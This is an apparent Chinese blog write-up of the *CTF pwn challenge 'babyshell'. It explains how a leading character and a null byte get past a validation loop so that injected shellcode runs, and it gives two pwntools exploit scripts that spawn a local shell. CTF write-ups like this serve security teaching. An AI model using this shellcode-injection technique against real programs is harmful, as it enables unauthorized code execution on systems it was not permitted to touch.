最简单的*ctf-PWN

babyshell

给的提示是 a easy shellcode
所以可以思考就是要写入shellcode
来看一下ida里面的情况
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根据逻辑,只要让函数return 1,这样的话指针指向buf,buf里面写shellcode就会正常执行了

所以,这里要先进循环,然后截断使他可以return 1,然后下面写shellcode
这里用什么字符让他进入循环,并且可以使shellcode被正常执行,这是需要思考的

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./shellcode")
p.recvuntil("plz:\n")
pay='s\x00'+asm(shellcraft.sh())
p.sendline(pay)
p.interactive()
pay='s\x00'+asm(shellcraft.sh())
核心语句在这里,这里用s是机器语言的原因,不同的字符写进去,机器语言结果会不太一样
也就是说碰巧用s就成功了,所以建议写个list,运行一下,一定可以getshell的

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
可以看出来字符不一样,机器指令会不一样,这就会影响到能不能getshell

有列表的exp,跑一下,就可以出来

from pwn import *
import string
list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']

  
for x in list:  
  context(os='linux', arch='amd64', log_level='debug')
  p = process("./shellcode")
  p.recvuntil("plz:\n")
  pay = x + '\x00' + asm(shellcraft.sh())
  
  try:
    p.sendline(pay)
    p.interactive() 
  except:
    continue
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值